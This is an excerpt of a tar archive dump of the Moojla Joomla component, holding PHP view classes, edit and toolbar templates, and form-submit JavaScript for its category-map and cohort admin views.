$this->listDirn, $this->listOrder); ?>
</th>
</tr>views/categories_map/tmpl/default_toolbar.php000064400000007061151165724410015530
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_toolbar.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<div id="filter-bar" class="btn-toolbar">
<div class="filter-search btn-group pull-left">
<label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
<input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Categories_map'); ?>" />
</div>
<div class="btn-group pull-left">
<button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
<button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
<select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
<option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
<option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
</select>
</div>
<div class="btn-group pull-right">
<label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
<select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
<?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
</select>
</div>
</div>
<div class="clearfix">
</div>views/categories_map/tmpl/index.html000064400000000054151165724410013641
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/categories_map/view.html.php000064400000015507151165724410013327
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the Categories_map
*/
class MoojlaViewCategories_map extends JViewLegacy
{
/**
* Categories_map view display method
* @return void
*/
function display($tpl = null)
{
if ($this->getLayout() !== 'modal')
{
// Include helper submenu
MoojlaHelper::addSubmenu('categories_map');
}
// Assign data to the view
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->user = JFactory::getUser();
// Load the filter form from xml.
$this->filterForm = $this->get('FilterForm');
// Load the active filters.
$this->activeFilters = $this->get('ActiveFilters');
// Add the list ordering clause.
$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
$this->saveOrder = $this->listOrder == 'a.ordering';
// set the return here value
$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
// get global action permissions
$this->canDo = MoojlaHelper::getActions('category_map');
$this->canEdit = $this->canDo->get('core.edit');
$this->canState =
$this->canDo->get('core.edit.state');
$this->canCreate = $this->canDo->get('core.create');
$this->canDelete = $this->canDo->get('core.delete');
$this->canBatch = $this->canDo->get('core.batch');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
// load the batch html
if ($this->canCreate && $this->canEdit &&
$this->canState)
{
$this->batchDisplay = JHtmlBatch_::render();
}
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JToolBarHelper::title(JText::_('COM_MOOJLA_CATEGORIES_MAP'),
'file-2');
JHtmlSidebar::setAction('index.php?option=com_moojla&view=categories_map');
JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');
if ($this->canCreate)
{
JToolBarHelper::addNew('category_map.add');
}
// Only load if there are items
if (MoojlaHelper::checkArray($this->items))
{
if ($this->canEdit)
{
JToolBarHelper::editList('category_map.edit');
}
if ($this->canState)
{
JToolBarHelper::publishList('categories_map.publish');
JToolBarHelper::unpublishList('categories_map.unpublish');
JToolBarHelper::archiveList('categories_map.archive');
if ($this->canDo->get('core.admin'))
{
JToolBarHelper::checkin('categories_map.checkin');
}
}
// Add a batch button
if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
{
// Get the toolbar object instance
$bar = JToolBar::getInstance('toolbar');
// set the batch button name
$title = JText::_('JTOOLBAR_BATCH');
// Instantiate a new JLayoutFile instance and render the batch button
$layout = new JLayoutFile('joomla.toolbar.batch');
// add the button to the page
$dhtml = $layout->render(array('title' => $title));
$bar->appendButton('Custom', $dhtml, 'batch');
}
if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
{
JToolbarHelper::deleteList('',
'categories_map.delete', 'JTOOLBAR_EMPTY_TRASH');
}
elseif ($this->canState && $this->canDelete)
{
JToolbarHelper::trash('categories_map.trash');
}
}
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('categories_map');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
// Only load published batch if state and batch is allowed
if ($this->canState && $this->canBatch)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
'batch[published]',
JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
);
}
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_('COM_MOOJLA_CATEGORIES_MAP'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/categories_map.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 50)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Returns an array of fields the table can be sorted by
*
* @return array Array containing the field name to sort by as the key
and display text as value
*/
protected function getSortFields()
{
return array(
'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
'a.published' => JText::_('JSTATUS'),
'a.jcatid' =>
JText::_('COM_MOOJLA_CATEGORY_MAP_JCATID_LABEL'),
'a.mcatid' =>
JText::_('COM_MOOJLA_CATEGORY_MAP_MCATID_LABEL'),
'a.id' => JText::_('JGRID_HEADING_ID')
);
}
}
views/category_map/submitbutton.js000064400000002751151165724410013463
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage submitbutton.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
Joomla.submitbutton = function(task)
{
if (task == ''){
return false;
} else {
var action = task.split('.');
if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
Joomla.submitform(task, document.getElementById("adminForm"));
return true;
} else {
alert(Joomla.JText._('category_map, some values are not
acceptable.','Some values are unacceptable'));
return false;
}
}
}views/category_map/tmpl/edit.php000064400000011404151165724410012773
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage edit.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
// waiting spinner
var outerDiv = jQuery('body');
jQuery('<div id="loading"></div>')
.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
.css("width", outerDiv.width())
.css("height", outerDiv.height())
.css("position", "fixed")
.css("opacity", "0.80")
.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
.css("filter", "alpha(opacity = 80)")
.css("display", "none")
.appendTo(outerDiv);
jQuery('#loading').show();
// when page is ready remove and show
jQuery(window).load(function() {
jQuery('#moojla_loader').fadeIn('fast');
jQuery('#loading').hide();
});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<div class="form-horizontal">
<?php echo JHtml::_('bootstrap.startTabSet',
'category_mapTab', array('active' =>
'details')); ?>
<?php echo JHtml::_('bootstrap.addTab',
'category_mapTab', 'details',
JText::_('COM_MOOJLA_CATEGORY_MAP_DETAILS', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo
JLayoutHelper::render('category_map.details_left', $this); ?>
</div>
<div class="span6">
<?php echo
JLayoutHelper::render('category_map.details_right', $this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
<?php $this->tab_name = 'category_mapTab'; ?>
<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>
<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'category_mapTab', 'publishing',
JText::_('COM_MOOJLA_CATEGORY_MAP_PUBLISHING', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo
JLayoutHelper::render('category_map.publishing', $this); ?>
</div>
<div class="span6">
<?php echo
JLayoutHelper::render('category_map.publlshing', $this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php if ($this->canDo->get('core.admin')) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'category_mapTab', 'permissions',
JText::_('COM_MOOJLA_CATEGORY_MAP_PERMISSION', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<fieldset class="adminform">
<div class="adminformlist">
<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
<div>
<?php echo $field->label; echo $field->input;?>
</div>
<div class="clearfix"></div>
<?php endforeach; ?>
</div>
</fieldset>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
<div>
<input type="hidden" name="task"
value="category_map.edit" />
<?php echo JHtml::_('form.token'); ?>
</div>
</div>
</form>
</div>
views/category_map/tmpl/index.html000064400000000054151165724410013331
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/category_map/view.html.php000064400000015410151165724410013010
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Category_map View class
*/
class MoojlaViewCategory_map extends JViewLegacy
{
/**
* display method of View
* @return void
*/
public function display($tpl = null)
{
// set params
$this->params = JComponentHelper::getParams('com_moojla');
// Assign the variables
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->script = $this->get('Script');
$this->state = $this->get('State');
// get action permissions
$this->canDo = MoojlaHelper::getActions('category_map',
$this->item);
// get input
$jinput = JFactory::getApplication()->input;
$this->ref = $jinput->get('ref', 0, 'word');
$this->refid = $jinput->get('refid', 0, 'int');
$return = $jinput->get('return', null, 'base64');
// set the referral string
$this->referral = '';
if ($this->refid && $this->ref)
{
// return to the item that referred to this item
$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
}
elseif($this->ref)
{
// return to the list view that referred to this item
$this->referral = '&ref=' . (string)$this->ref;
}
// check return value
if (!is_null($return))
{
// add the return value
$this->referral .= '&return=' . (string)$return;
}
// Set the toolbar
$this->addToolBar();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
$user = JFactory::getUser();
$userId = $user->id;
$isNew = $this->item->id == 0;
JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_CATEGORY_MAP_NEW' :
'COM_MOOJLA_CATEGORY_MAP_EDIT'), 'pencil-2
article-add');
// Built the actions for new and existing records.
if (MoojlaHelper::checkString($this->referral))
{
if ($this->canDo->get('core.create') && $isNew)
{
// We can create the record.
JToolBarHelper::save('category_map.save',
'JTOOLBAR_SAVE');
}
elseif ($this->canDo->get('core.edit'))
{
// We can save the record.
JToolBarHelper::save('category_map.save',
'JTOOLBAR_SAVE');
}
if ($isNew)
{
// Do not creat but cancel.
JToolBarHelper::cancel('category_map.cancel',
'JTOOLBAR_CANCEL');
}
else
{
// We can close it.
JToolBarHelper::cancel('category_map.cancel',
'JTOOLBAR_CLOSE');
}
}
else
{
if ($isNew)
{
// For new records, check the create permission.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::apply('category_map.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('category_map.save',
'JTOOLBAR_SAVE');
JToolBarHelper::custom('category_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
};
JToolBarHelper::cancel('category_map.cancel',
'JTOOLBAR_CANCEL');
}
else
{
if ($this->canDo->get('core.edit'))
{
// We can save the new record
JToolBarHelper::apply('category_map.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('category_map.save',
'JTOOLBAR_SAVE');
// We can save this record, but check the create permission to see
// if we can return to make a new one.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('category_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
}
}
$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('category_map.version'));
if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
{
JToolbarHelper::versions('com_moojla.category_map',
$this->item->id);
}
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('category_map.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
}
JToolBarHelper::cancel('category_map.cancel',
'JTOOLBAR_CLOSE');
}
}
JToolbarHelper::divider();
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('category_map');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 30)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
$isNew = ($this->item->id < 1);
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_CATEGORY_MAP_NEW' :
'COM_MOOJLA_CATEGORY_MAP_EDIT'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/category_map.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/category_map/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
JText::script('view not acceptable. Error');
}
}
views/cohort/submitbutton.js000064400000002743151165724410012310
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage submitbutton.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
Joomla.submitbutton = function(task)
{
if (task == ''){
return false;
} else {
var action = task.split('.');
if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
Joomla.submitform(task, document.getElementById("adminForm"));
return true;
} else {
alert(Joomla.JText._('cohort, some values are not
acceptable.','Some values are unacceptable'));
return false;
}
}
}views/cohort/tmpl/edit.php000064400000011266151165724410011625
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage edit.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
// waiting spinner
var outerDiv = jQuery('body');
jQuery('<div id="loading"></div>')
.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
.css("width", outerDiv.width())
.css("height", outerDiv.height())
.css("position", "fixed")
.css("opacity", "0.80")
.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
.css("filter", "alpha(opacity = 80)")
.css("display", "none")
.appendTo(outerDiv);
jQuery('#loading').show();
// when page is ready remove and show
jQuery(window).load(function() {
jQuery('#moojla_loader').fadeIn('fast');
jQuery('#loading').hide();
});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<div class="form-horizontal">
<?php echo JHtml::_('bootstrap.startTabSet',
'cohortTab', array('active' =>
'details')); ?>
<?php echo JHtml::_('bootstrap.addTab',
'cohortTab', 'details',
JText::_('COM_MOOJLA_COHORT_DETAILS', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo JLayoutHelper::render('cohort.details_left',
$this); ?>
</div>
<div class="span6">
<?php echo JLayoutHelper::render('cohort.details_right',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
<?php $this->tab_name = 'cohortTab'; ?>
<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>
<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'cohortTab', 'publishing',
JText::_('COM_MOOJLA_COHORT_PUBLISHING', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo JLayoutHelper::render('cohort.publishing',
$this); ?>
</div>
<div class="span6">
<?php echo JLayoutHelper::render('cohort.publlshing',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php if ($this->canDo->get('core.admin')) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'cohortTab', 'permissions',
JText::_('COM_MOOJLA_COHORT_PERMISSION', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<fieldset class="adminform">
<div class="adminformlist">
<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
<div>
<?php echo $field->label; echo $field->input;?>
</div>
<div class="clearfix"></div>
<?php endforeach; ?>
</div>
</fieldset>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
<div>
<input type="hidden" name="task"
value="cohort.edit" />
<?php echo JHtml::_('form.token'); ?>
</div>
</div>
</form>
</div>
views/cohort/tmpl/index.html000064400000000054151165724410012155
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/cohort/view.html.php000064400000015162151165724410011640
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Cohort View class
*/
class MoojlaViewCohort extends JViewLegacy
{
/**
* display method of View
* @return void
*/
public function display($tpl = null)
{
// set params
$this->params = JComponentHelper::getParams('com_moojla');
// Assign the variables
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->script = $this->get('Script');
$this->state = $this->get('State');
// get action permissions
$this->canDo = MoojlaHelper::getActions('cohort',
$this->item);
// get input
$jinput = JFactory::getApplication()->input;
$this->ref = $jinput->get('ref', 0, 'word');
$this->refid = $jinput->get('refid', 0, 'int');
$return = $jinput->get('return', null, 'base64');
// set the referral string
$this->referral = '';
if ($this->refid && $this->ref)
{
// return to the item that referred to this item
$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
}
elseif($this->ref)
{
// return to the list view that referred to this item
$this->referral = '&ref=' . (string)$this->ref;
}
// check return value
if (!is_null($return))
{
// add the return value
$this->referral .= '&return=' . (string)$return;
}
// Set the toolbar
$this->addToolBar();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
$user = JFactory::getUser();
$userId = $user->id;
$isNew = $this->item->id == 0;
JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_COHORT_NEW' : 'COM_MOOJLA_COHORT_EDIT'),
'pencil-2 article-add');
// Built the actions for new and existing records.
if (MoojlaHelper::checkString($this->referral))
{
if ($this->canDo->get('core.create') && $isNew)
{
// We can create the record.
JToolBarHelper::save('cohort.save',
'JTOOLBAR_SAVE');
}
elseif ($this->canDo->get('core.edit'))
{
